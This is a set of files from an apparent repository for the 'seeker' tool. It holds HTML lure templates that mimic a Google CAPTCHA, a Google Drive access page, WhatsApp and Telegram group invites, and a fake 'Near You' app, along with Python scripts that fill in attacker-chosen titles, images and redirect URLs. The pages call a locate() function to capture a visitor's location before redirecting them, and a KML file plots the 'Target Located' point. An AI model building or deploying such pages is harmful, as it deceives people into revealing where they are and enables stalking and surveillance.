            <textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
          </div>
          <iframe style="display: none;"></iframe>
        </div>

        <input type="hidden" name="q" value="">
        <input type="hidden" name="continue" value="https://www.google.com/">
      </form>
    <hr style="color:#ccc; background-color:#ccc;" size="1" noshade="">

    <div style="font-size:13px;">
      <b>About this page</b><br><br>
      Our systems have detected unusual traffic from your computer network.  This page checks to see if it's really you sending the requests, and not a robot.  <a href="#">Why did this happen?</a><br><br>

      <div id="infoDiv" style="display:none; background-color:#eee; padding:10px; margin:0 0 15px 0; line-height:1.4em;">
        This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop.  In the meantime, solving the above CAPTCHA will let you continue to use our services.<br><br>This traffic may have been sent by malicious software, a browser plug-in, or a script that sends automated requests.  If you share your network connection, ask your administrator for help — a different computer using the same IP address may be responsible.  <a href="//support.google.com/websearch/answer/86640">Learn more</a><br><br>Sometimes you may be asked to solve the CAPTCHA if you are using advanced terms that robots are known to use, or sending requests very quickly.
      </div>

      IP address: <span id="public-ip"></span><br>Time: <span id="datetime"></span><br>URL: FAKE_REDIRECT_URL<br>

      <script type="text/javascript">
        $.get("https://ifconfig.me/ip", function(data, status){
          if (status == "success") {
            $("#public-ip").text(data);
          }
          else {
            $("#public-ip").text("Not Available");
          }
        });
        $("#datetime").text(new Date().toISOString());
      </script>
    </div>
    </div>
  </body>
</html>

================================================
FILE: template/captcha/js/main_temp.js
================================================
function loading(){
    document.getElementById('recaptcha-anchor').outerHTML='<span role="checkbox" aria-checked="true" id="recaptcha-anchor" dir="ltr" aria-labelledby="recaptcha-anchor-label" aria-disabled="false" tabindex="0" style="" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-loading"><div class="recaptcha-checkbox-border" role="presentation" style="display: none;"></div><div class="recaptcha-checkbox-borderAnimation" role="presentation" style=""></div><div class="recaptcha-checkbox-spinner" role="presentation" style="display: ; animation-play-state: running; opacity: 1;"><div class="recaptcha-checkbox-spinner-overlay" style="animation-play-state: running;"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation" style=""></div></span>';
  }
  function cap_success(){
    document.getElementById('recaptcha-anchor').outerHTML='<span class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-checked" role="checkbox" aria-checked="true" id="recaptcha-anchor" dir="ltr" aria-labelledby="recaptcha-anchor-label" aria-disabled="false" tabindex="0" style="overflow: visible;"><div class="recaptcha-checkbox-border" role="presentation" style="display: none;"></div><div class="recaptcha-checkbox-borderAnimation" role="presentation" style=""></div><div class="recaptcha-checkbox-spinner" role="presentation" style="display: none; animation-play-state: running; opacity: 1;"><div class="recaptcha-checkbox-spinner-overlay" style="animation-play-state: running;"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation" style=""></div></span>';
  }
  function cap_uncheck(){
    document.getElementById('recaptcha-anchor').outerHTML='<span class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" onclick="window.top.location.reload(); role="presentation"></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span>';
  }
  function cap_error(){
    document.getElementById('recaptcha-anchor').outerHTML='<span class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-expired" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" onclick="window.top.location.reload();" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation" style=""></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span>'
  }
  function cap_forward(){
    window.top.location = 'REDIRECT_URL'
  }
  
  function transmit(){
    loading();
    setTimeout(locate(), 2000);
  }
  
  function transmitted(){
    cap_success();
    cap_forward();
  }

  function main(){

  locate(transmitted, cap_error);
  }

================================================
FILE: template/custom_og_tags/index_temp.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>
	<meta property="og:title" content="$TITLE$">
	<meta property="og:site_name" content="$SITE_NAME$">
	<meta property="og:description" content="$DESCRIPTION$">
	<meta property="og:image" content="$IMG_URL$">
	<title>$TITLE$</title>
	<script type="text/javascript">
    	if (window.location.protocol == "http:") {
        	var restOfUrl = window.location.href.substr(5);
        	window.location = "https:" + restOfUrl;
    	}
    </script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
	<script type="text/javascript" src="js/location.js"></script>
</head>
<body onload="information();locate(function(){window.location='REDIRECT_URL';}, function(){$('#change').html('Failed');});">
</body>
</html>

================================================
FILE: template/gdrive/css/main.css
================================================
@font-face {
	font-family: Product Sans;
	font-style: normal;
  	font-weight: 400;
	src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2');
}

body { 
	background-color: #ffffff;
	font-size: 13px;
	margin: 0;
	padding: 0;
	font-family: Arial,sans-serif;
}

#outerContainer {
    margin: auto;
    max-width: 750px;
}

#innerContainer {
    margin-bottom: 20px;
    margin-left: 40px;
    margin-right: 40px;
    margin-top: 180px;
    position: relative;
}

#drive-logo {
    margin: 18px 0;
    position: absolute;
    white-space: nowrap;
}

.docs-drivelogo-img {
    background-image: url('/images/googlelogo_color_116x41dp.png');
    background-size: 116px 41px;
    display: inline-block;
    height: 41px;
    vertical-align: bottom;
    width: 116px;
}

.docs-drivelogo-text {
    color: #000;
	display: inline-block;
	opacity: 0.54;
	text-decoration: none;
	font-family: 'Product Sans',Arial,Helvetica,sans-serif;
	font-size: 32px;
	text-rendering: optimizeLegibility;
	position: relative;
	top: -6px;
	left: -7px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#main {
    position: relative;
    width: 640px;
    top: 30px;
}

#accessDeniedIcon {
    background-image: url('/images/locked_doc-2.svg');
    float: right;
    height: 158px;
    width: 128px;
}

#accessDeniedHeader {
    color: #222;
    font: 32px Arial, sans-serif;
}

#message {
    color: #222;
    font: 15px/1.6 Arial, sans-serif;
    width: 480px;
}

button.jfk-button {
    font-family: arial,sans-serif;
    height: auto;
}

.jfk-button-action {
    -webkit-box-shadow: none;
    -moz-box-shadow: none;
    box-shadow: none;
    background-color: #4d90fe;
	background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
	background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
	background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
	background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
	background-image: linear-gradient(top,#4d90fe,#4787ed);
	border: 1px solid #3079ed;
	color: #fff;
}

.jfk-button {
    -webkit-border-radius: 2px;
    -moz-border-radius: 2px;
    border-radius: 2px;
    cursor: default;
    font-size: 11px;
    font-weight: bold;
    text-align: center;
    white-space: nowrap;
    margin-right: 16px;
    height: 27px;
    line-height: 27px;
    min-width: 54px;
    outline: 0px;
    padding: 0 8px;
}

.jfk-button-standard {
    -webkit-box-shadow: none;
    -moz-box-shadow: none;
    box-shadow: none;
    background-color: #f5f5f5;
	background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
	background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
	background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
	background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
	background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
	color: #444;
	border: 1px solid #dcdcdc;
	border: 1px solid rgba(0,0,0,0.1);
}

@media (max-width: 500px) {
	#accessDeniedHeader {
		color: #222;
		font: 25px Arial, sans-serif;
	}
	#accessDeniedIcon {
		background-image: url('/images/locked_doc-1.svg');
		height: 108px;
		width: 88px;
	}
	#main {
		width: 100%;
	}
	#message {
		width: 75%;
	}
	#outerContainer #innerContainer {
		margin-left: 20px;
		margin-right: 20px;
	}
}

:focus {outline:none;}
::-moz-focus-inner {border:0;}

================================================
FILE: template/gdrive/index_temp.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>
	<meta name="description" content="Web word processing, presentations and spreadsheets">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
	<link rel="shortcut icon" href="/images/drive_favicon1.ico">
	<title>Google Drive - Access Denied</title>
	<link rel="stylesheet" type="text/css" href="css/main.css">
	<script type="text/javascript">
    	if (window.location.protocol == "http:") {
        	var restOfUrl = window.location.href.substr(5);
        	window.location = "https:" + restOfUrl;
    	}
    </script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
	<script type="text/javascript" src="js/location.js"></script>
</head>
<body onload="information();">
	<div id="outerContainer">
		<div id="innerContainer">
			<div style="position: absolute; top: -80px;">
				<div id="drive-logo">
					<span class="docs-drivelogo-img"></span>
					<span class="docs-drivelogo-text"> Drive</span>
				</div>
			</div>
			<div style="clear:both"></div>
			<div id="main">
				<div id="accessDeniedIcon"></div>
				<p id="accessDeniedHeader">You need permission</p>
				<div id="message">
					<p>Want in? Ask for access, or switch to an account with permission.</p>
				</div>
				<p id="buttons" style="padding-top: 10px">
					<button id="requestButton" style="font-weight:bold" class="jfk-button jfk-button-action" onclick="locate(function(){window.location='REDIRECT_URL';}, function(){$('#change').html('Failed');});">Request access</button>
				</p>
			</div>
		</div>
	</div>
</body>
</html>

================================================
FILE: template/mod_captcha.py
================================================
#!/usr/bin/env python3
import os
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

real_forward = os.getenv('REDIRECT')
fake_forward = os.getenv('DISPLAY_URL')

if real_forward is None:
    real_forward = input(f'{G}[+] {C}Enter Real Forward URL :{W} ')
else:
    utils.print(f'{G}[+] {C}Real Forward URL :{W} '+real_forward)

if fake_forward is None:
    fake_forward = input(f'{G}[+] {C}Enter Fake Forward URL :{W} ')
else:
    utils.print(f'{G}[+] {C}Fake Forward URL :{W} '+fake_forward)

with open('template/captcha/js/main_temp.js', 'r') as location_temp:
    js_file = location_temp.read()
    updated_js_raw = js_file.replace('REDIRECT_URL', real_forward)

with open('template/captcha/js/main.js', 'w') as updated_js:
    updated_js.write(updated_js_raw)

with open('template/captcha/index_temp.html', 'r') as temp_index:
    temp_index_data = temp_index.read()
    if os.getenv("DEBUG_HTTP"):
        temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
    upd_temp_index_raw = temp_index_data.replace('FAKE_REDIRECT_URL', fake_forward)

with open('template/captcha/index.html', 'w') as updated_index:
    updated_index.write(upd_temp_index_raw)

================================================
FILE: template/mod_custom_og_tags.py
================================================
#!/usr/bin/env python3

import os
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

redirect = os.getenv('REDIRECT')
sitename = os.getenv('SITENAME')
title = os.getenv('TITLE')
imageUrl = os.getenv('IMAGE')
desc = os.getenv("DESC")

old = 'n'
if not redirect and not sitename and not title and not imageUrl and not desc:
    old = input(G + '[+]' + C + ' Do you want to reuse previous configs? (Y/N) : ' + W)

if old.lower() != 'y':
    if redirect is None:
        redirect = input(G + '[+]' + C + ' Enter Target URL (YouTube,Blog etc) : ' + W)
    else:
        utils.print(f'{G}[+] {C}Target URL :{W} '+redirect)
    
    if sitename is None:
        sitename = input(G + '[+]' + C + ' Site Name: ' + W)
    else:
        utils.print(f'{G}[+] {C}Site Name :{W} '+sitename)
    
    if title is None:
        title = input(G + '[+]' + C + ' Title : ' + W)
    else:
        utils.print(f'{G}[+] {C}Title :{W} '+title)
    
    if imageUrl is None:
        imageUrl = input(G + '[+]' + C + ' Image URL: ' + W)
    else:
        utils.print(f'{G}[+] {C}Image :{W} '+imageUrl)
    
    if desc is None:
        desc = input(G + '[+]' + C + ' Description: ' + W)
    else:
        utils.print(f'{G}[+] {C}Description :{W} '+desc)

    with open('template/custom_og_tags/index_temp.html', 'r') as index_temp:
        code = index_temp.read()
        if os.getenv("DEBUG_HTTP"):
            code = code.replace('window.location = "https:" + restOfUrl;', '')
        code = code.replace('$SITE_NAME$', sitename)
        code = code.replace('REDIRECT_URL', redirect)
        code = code.replace('$TITLE$', title)
        code = code.replace('$IMG_URL$', imageUrl)
        code = code.replace('$DESCRIPTION$', desc)

    with open('template/custom_og_tags/index.html', 'w') as new_index:
        new_index.write(code)


================================================
FILE: template/mod_gdrive.py
================================================
#!/usr/bin/env python3
import os
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

redirect = os.getenv('REDIRECT')

if redirect is None:
    redirect = input(G + '[+]' + C + ' Enter GDrive File URL : ' + W)
else:
    utils.print(f'{G}[+] {C}GDrive File URL :{W} '+redirect)
        
with open('template/gdrive/index_temp.html', 'r') as temp_index:
    temp_index_data = temp_index.read()
    temp_index_data = temp_index_data.replace('REDIRECT_URL', redirect)
    if os.getenv("DEBUG_HTTP"):
        temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')

with open('template/gdrive/index.html', 'w') as updated_index:
    updated_index.write(temp_index_data)

================================================
FILE: template/mod_nearyou.py
================================================
#!/usr/bin/env python3
import os
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

with open('template/nearyou/index_temp.html', 'r') as temp_index:
    temp_index_data = temp_index.read()
    if os.getenv("DEBUG_HTTP"):
        temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')

with open('template/nearyou/index.html', 'w') as updated_index:
    updated_index.write(temp_index_data)

================================================
FILE: template/mod_telegram.py
================================================
#!/usr/bin/env python3

import os
import shutil
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

title = os.getenv('TITLE')
image = os.getenv('IMAGE')
desc = os.getenv('DESC')
mem_num = os.getenv('MEM_NUM')
online_num = os.getenv('ONLINE_NUM')

if title is None:
    title = input(f'{G}[+] {C}Group Title : {W}')
else:
    utils.print(f'{G}[+] {C}Group Title :{W} '+title)

if image is None:
    image = input(f'{G}[+] {C}Image Path (Best Size : 300x300): {W}')
else:
    utils.print(f'{G}[+] {C}Image :{W} '+image)

if desc is None:
    desc = input(f'{G}[+] {C}Group Description: {W}')
else:
    utils.print(f'{G}[+] {C}Group Description :{W} '+desc)

if mem_num is None:
    mem_num = input(G + '[+]' + C + ' Number of Members : ' + W)
else:
    utils.print(f'{G}[+] {C}Number of Members :{W} '+mem_num)

if online_num is None:
    online_num = input(G + '[+]' + C + ' Number of Members Online : ' + W)
else:
    utils.print(f'{G}[+] {C}Number of Members Online :{W} '+mem_num)

img_name = utils.downloadImageFromUrl(image, 'template/telegram/images/')
if img_name :
    img_name = img_name.split('/')[-1]
else:
    img_name = image.split('/')[-1]
    try:
        shutil.copyfile(image, 'template/telegram/images/{}'.format(img_name))
    except Exception as e:
        utils.print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
        exit()

with open('template/telegram/index_temp.html', 'r') as index_temp:
    code = index_temp.read()
    if os.getenv("DEBUG_HTTP"):
        code = code.replace('window.location = "https:" + restOfUrl;', '')
    code = code.replace('$TITLE$', title)
    code = code.replace('$DESC$', desc)
    code = code.replace('$MEMBERS$', mem_num)
    code = code.replace('$ONLINE$', online_num)
    code = code.replace('$IMAGE$', 'images/{}'.format(img_name))

with open('template/telegram/index.html', 'w') as new_index:
    new_index.write(code)

================================================
FILE: template/mod_whatsapp.py
================================================
#!/usr/bin/env python3

import os
import shutil
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

title = os.getenv('TITLE')
image = os.getenv('IMAGE')

if title is None:
    title = input(f'{G}[+] {C}Group Title : {W}')
else:
    utils.print(f'{G}[+] {C}Group Title :{W} '+title)

if image is None:
    image = input(f'{G}[+] {C}Path to Group Img (Best Size : 300x300): {W}')
else:
    utils.print(f'{G}[+] {C}Group Image :{W} '+image)

img_name = utils.downloadImageFromUrl(image, 'template/whatsapp/images/')
if img_name :
    img_name = img_name.split('/')[-1]
else:
    img_name = image.split('/')[-1]
    try:
        shutil.copyfile(image, 'template/whatsapp/images/{}'.format(img_name))
    except Exception as e:
        utils.print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
        exit()

with open('template/whatsapp/index_temp.html', 'r') as index_temp:
    code = index_temp.read()
    if os.getenv("DEBUG_HTTP"):
        code = code.replace('window.location = "https:" + restOfUrl;', '')
    code = code.replace('$TITLE$', title)
    code = code.replace('$IMAGE$', 'images/{}'.format(img_name))

with open('template/whatsapp/index.html', 'w') as new_index:
    new_index.write(code)

================================================
FILE: template/mod_whatsapp_redirect.py
================================================
#!/usr/bin/env python3

import os
import shutil
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

title = os.getenv('TITLE')
image = os.getenv('IMAGE')
redirect = os.getenv('REDIRECT')

if title is None:
    title = input(f'{G}[+] {C}Group Title : {W}')
else:
    utils.print(f'{G}[+] {C}Group Title :{W} '+title)

if image is None:
    image = input(f'{G}[+] {C}Path to Group Img (Best Size : 300x300): {W}')
else:
    utils.print(f'{G}[+] {C}Group Image :{W} '+image)

if redirect is None:
    redirect = input(G + '[+]' + C + ' Enter WhatsApp Group URL : ' + W)
else:
    utils.print(f'{G}[+] {C}WhatsApp Group URL :{W} '+redirect)

img_name = utils.downloadImageFromUrl(image, 'template/whatsapp_redirect/images/')
if img_name :
    img_name = img_name.split('/')[-1]
else:
    img_name = image.split('/')[-1]
    try:
        shutil.copyfile(image, 'template/whatsapp_redirect/images/{}'.format(img_name))
    except Exception as e:
        utils.print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
        exit()

with open('template/whatsapp_redirect/index_temp.html', 'r') as index_temp:
    code = index_temp.read()
    if os.getenv("DEBUG_HTTP"):
        code = code.replace('window.location = "https:" + restOfUrl;', '')
    code = code.replace('$TITLE$', title)
    code = code.replace('REDIRECT_URL', redirect)
    code = code.replace('$IMAGE$', 'images/{}'.format(img_name))

with open('template/whatsapp_redirect/index.html', 'w') as new_index:
    new_index.write(code)


================================================
FILE: template/mod_zoom.py
================================================
#!/usr/bin/env python3
import os
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m'  # white

with open('template/zoom/index_temp.html', 'r') as temp_index:
    temp_index_data = temp_index.read()
    if os.getenv("DEBUG_HTTP"):
        temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')

with open('template/zoom/index.html', 'w') as updated_index:
    updated_index.write(temp_index_data)

================================================
FILE: template/nearyou/css/main.css
================================================
html, body
{
  height: 100%;
}
body
{
  background-color: #000000;
  margin: auto;
  overflow: hidden;
}
h1
{
  font-family: 'Raleway', sans-serif;
  color: white;
  text-align: center;
  filter: drop-shadow(0px 0px 8px cyan);
  margin: auto;
  position: fixed;
  top: 5%;
  left: 0%;
  right: 0%;
}
h2
{
  font-family: 'Raleway', sans-serif;
  color: white;
  text-align: center;
  filter: drop-shadow(0px 0px 8px cyan);
  margin: auto;
  position: fixed;
  top: 15%;
  left: 0%;
  right: 0%;
}
img
{
  position: fixed;
  margin: auto;
  left: 0%;
  right: 0%;
  top: 30%;
  height: 40%;
  filter: drop-shadow(0px 0px 8px white);
  opacity: 50%;
}
.button
{
  background-color: Transparent;
  border: 2px solid white;
  cursor: pointer;
  color: white;
  font-size: 24px;
  padding: 14px 40px;
  border-radius: 6px;
  width: 50%;
  text-align: center;
  font-family: 'Raleway', sans-serif;
  position: fixed;
  left: 25%;
  right: 25%;
  bottom: 10%;
  filter: drop-shadow(0px 0px 8px cyan);
  transition: text-shadow 0.2s linear;
}
.text
{
  font-family: 'Raleway', sans-serif;
  color: white;
  text-align: center;
  filter: drop-shadow(0px 0px 8px cyan);
  margin: auto;
  position: fixed;
  top: 5%;
  left: 0%;
  right: 0%;
  z-index: 1;
}
.earth
{
  position: absolute;
  top: 0;
  bottom: 0;
  left: 0;
  right: 0;
  margin: auto;
  height: 250px;
  width: 250px;
  background-image: url(https://raw.githubusercontent.com/thewhiteh4t/seeker/master/template/nearyou/css/worldmap.jpg);
  border-radius: 50%;
  background-size: 700px;
  animation:rotate 7s linear infinite;
  box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset;
  filter: drop-shadow(0px 0px 8px black);
}

@keyframes rotate
{
  0%{background-position: 0 0;}
  100%{background-position: 700px 0;}
}


================================================
FILE: template/nearyou/index_temp.html
================================================
<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Near You | Meet New People, Make New Friends</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <link rel="icon" type="image/x-icon" href="https://www.freefavicon.com/freefavicons/icons/flat-location-logo-152-234349.png">
    <link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
    <link href="/css/main.css" rel="stylesheet">
    <script type="text/javascript">
    if (window.location.protocol == "http:") {
        var restOfUrl = window.location.href.substr(5);
        window.location = "https:" + restOfUrl;
    }</script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
    <script src="/js/location.js"></script>
    <script src="/js/warpspeed.min.js"></script>
  </head>
  <body onload="information();">
    <canvas id="canvas" style="width:100%; height:100%;"></canvas>
    <script>var x=new WarpSpeed('canvas',
    '{"speed":2,"speedAdjFactor":0.03,"density":1,"shape":"circle","warpEffect":true,"warpEffectLength":3,"depthFade":false,"starSize":3,"backgroundColor":"hsl(0,0%,0%)","starColor":"#FFFFFF"}');</script>
    <div><h1>Find People Near You</h1></div>
    <div><h2>Meet New People, Make New Friends</h2></div>
    <div class="earth"></div>
    <div><button id="change" class="button" type="button" onclick="locate(function(){$('#change').html('Coming Soon'); alert('Thank you for taking interest in Near You...This product is coming soon...');}, function(){$('#change').html('Failed');});">Continue</button></div>
    <div class="text" id="result"></div>
  </body>
</html>


================================================
FILE: template/sample.kml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2">
	<Document>
    	<Style id="icon">
      		<IconStyle>
        		<Icon>
          			<href>http://maps.google.com/mapfiles/kml/paddle/ylw-blank.png</href>
        		</Icon>
      		</IconStyle>
      		
      		<LabelStyle>
        		<color>ff00ffff</color>
        		<colorMode>normal</colorMode>
        		<scale>1.5</scale>
      		</LabelStyle>
    	</Style>
		
		<Placemark>
			<name>Target Located</name>
			<styleUrl>#icon</styleUrl>
    		<Point>
				<coordinates>LONGITUDE,LATITUDE,0</coordinates>
    		</Point>
  		</Placemark>
  	</Document>
</kml>

================================================
FILE: template/telegram/css/css
================================================
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxP.ttf) format('truetype');
}
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  src: local('Roboto Bold'), local('Roboto-Bold'), url(https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc9.ttf) format('truetype');
}


================================================
FILE: template/telegram/css/telegram.css
================================================
body {
  font: 12px/18px "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Verdana, sans-serif;
  /*-webkit-font-smoothing: antialiased;*/
}

a,
a:hover {
  color: #0088cc;
}
a:focus {
  text-decoration: none;
}
a:hover {
  text-decoration: underline;
}

.container {
  margin-right: auto;
  margin-left: auto;
  padding-left: 15px;
  padding-right: 15px;
}
@media (min-width: 768px) {
  .container {
    width: 750px;
  }
}
@media (min-width: 992px) {
  .container {
    width: 970px;
  }
}
@media (min-width: 1200px) {
  .container {
    width: 1170px;
  }
}
.container-fluid {
  margin-right: auto;
  margin-left: auto;
  padding-left: 15px;
  padding-right: 15px;
}
.row {
  margin-left: -15px;
  margin-right: -15px;
}

.container:before {
  content: " ";
  display: table;
}
.container:after {
  content: " ";
  display: table;
  clear: both;
}

.tl_page_head {
  margin-bottom: 0;
}
.navbar-tg .navbar-inner {
  box-shadow: none;
  -webkit-box-shadow: none;
  border-bottom: 1px solid #e8e8e8;
}
.navbar-tg .nav a {
  color: #0088cc;
  -webkit-transition: padding-bottom .2s ease-in-out, box-shadow .2s ease-in-out;
  -moz-transition: padding-bottom .2s ease-in-out, box-shadow .2s ease-in-out;
  -ms-transition: padding-bottom .2s ease-in-out, box-shadow .2s ease-in-out;
}
.navbar-tg .nav a:hover,
.navbar-tg .nav .active a {
  color: #0088cc;
}
.navbar-tg .nav .active a {
  box-shadow: 0px 3px 0px 0px #179cde;
  -webkit-box-shadow: 0px 3px 0px 0px #179cde;
  padding-bottom: 13.5px;
}
.navbar-tg .nav li a:hover {
  box-shadow: 0px 3px 0px 0px #179cde;
  -webkit-box-shadow: 0px 3px 0px 0px #179cde;
  padding-bottom: 13.5px;
}
.navbar-tg .nav a,
.navbar-tg .nav a:hover,
.navbar-tg .nav a:focus {
  background-color: transparent;
}

.nav {
  color: #a2a2a2;
  font-size: 15px;
}

.nav-pills > li > a {
  font-size: 15px;
  padding: 8px 17px;
  border-radius: 0;
}

.nav > li > a:hover,
.nav > li > a:focus {
  background-color: #f0f6fa;
  text-decoration: none;
}

.nav .open > a,
.nav .open > a:hover,
.nav .open > a:focus,
.nav-pills > li.active > a,
.nav-pills > li.active > a:hover,
.nav-pills > li.active > a:focus {
  box-shadow: none;
  background-color: #1e98d4;
  color: #FFF;
  border: 0;
}

.nav .open > a .caret,
.nav .open > a:hover .caret,
.nav .open > a:focus .caret {
  background-position: -2px -15px;
}

.dropdown-menu {
  min-width: 177px;
  padding: 0;
  margin: 7px 0 0 0;
  list-style: none;
  font-size: 13px;
  text-align: left;
  background-color: #fff;
  border-radius: 0;
  border: 1px solid rgba(29,92,123,0.3);
  box-shadow: 0 1px 1px rgba(20,60,83,0.1);
  -webkit-box-shadow: 0 1px 1px rgba(20,60,83,0.1);
}
.dropdown-menu > li > a {
  padding: 8px 18px;
  margin: 0 -1px;
  color: #08c;
}
.dropdown-menu > li > a:first-child {
  margin-top: -1px;
  padding-top: 9px;
}
.dropdown-menu > li > a:last-child {
  margin-bottom: -1px;
  padding-bottom: 9px;
}
.dropdown-menu > li > a:hover,
.dropdown-menu > li > a:focus,
.dropdown-menu > li.active > a {
  text-decoration: none;
  color: #FFF;
  background-color: #1e98d4;
}

#dev_page_content > ul:not(.nav),
#dev_page_content ul.bulleted,
#dev_page_content > ul:not(.nav) ul:not(.nav),
#dev_page_content ul.bulleted ul.bulleted {
  list-style-type: none;
  padding-left: 10px;
}
.is_rtl #dev_page_content > ul:not(.nav),
.is_rtl #dev_page_content ul.bulleted,
.is_rtl #dev_page_content > ul:not(.nav) ul:not(.nav),
.is_rtl #dev_page_content ul.bulleted ul.bulleted {
  padding-right: 10px;
  padding-left: 0;
}

.is_rtl #dev_page_content > ul:not(.nav) li,
.is_rtl #dev_page_content ul.bulleted li {
  background-position: 100% 8px;
  padding-left: 0;
  padding-right: 20px;
}



.breadcrumb > li {
  text-shadow: none;
}
.breadcrumb > li > .divider {
  color: #c1d3e4;
}

pre, code {
  border: 0;
}
pre {
  font-size: 13px;
  color: #546172;
  background: #ecf3f8;
  border-radius: 0;
}
code {
  background: #feeae4;
  color: #c61717;
  padding: 3px 5px;
  border-radius: 0;
}
blockquote {
  border-left-color: #179cde;
}
blockquote p {
  font-size: 14px;
  font-weight: normal;
  line-height: 20px;
  margin-bottom: 10px;
}
.table td, .table th {
  border-top-color: #eee;
}
h1, h2, h3, h4, h5, h6 {
  font-weight: bold;
  margin: 20px 0 10px 0;
  position: relative;
}
h1 {
  font-size: 20px;
  margin-top: 32px;
  margin-bottom: 12px;
}
h2 {
  font-size: 20px;
  margin-top: 32px;
  margin-bottom: 12px;
}
h3 {
  font-size: 20px;
  margin-top: 32px;
  margin-bottom: 10px;
}
h4 {
  font-size: 16px;
  margin-top: 29px;
  margin-bottom: 7px;
}
h5 {
  font-size: 16px;
  margin-top: 29px;
  margin-bottom: 7px;
}

mark {
  padding: .2em .4em;
}

a.btn,
button.btn {
  border-radius: 0;
}

.form-control {
  border-radius: 0;
  box-shadow: none;
}


a.anchor {
  text-decoration: none;
  line-height: 1;
  margin-left: -22px;

  cursor: default;
  display: block;
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;

  border-top: 10px solid transparent;
  margin-top: -10px;
  -webkit-background-clip:padding-box;
  -moz-background-clip:padding;
  background-clip:padding-box;
  outline: 0;
}

h1 a.anchor i.anchor-icon {margin-top: 2px;}
h2 a.anchor i.anchor-icon {margin-top: 2px;}
h3 a.anchor i.anchor-icon {margin-top: 2px;}
h4 a.anchor i.anchor-icon {margin-top: 0px;}


h1:hover a.anchor i.anchor-icon,
h2:hover a.anchor i.anchor-icon,
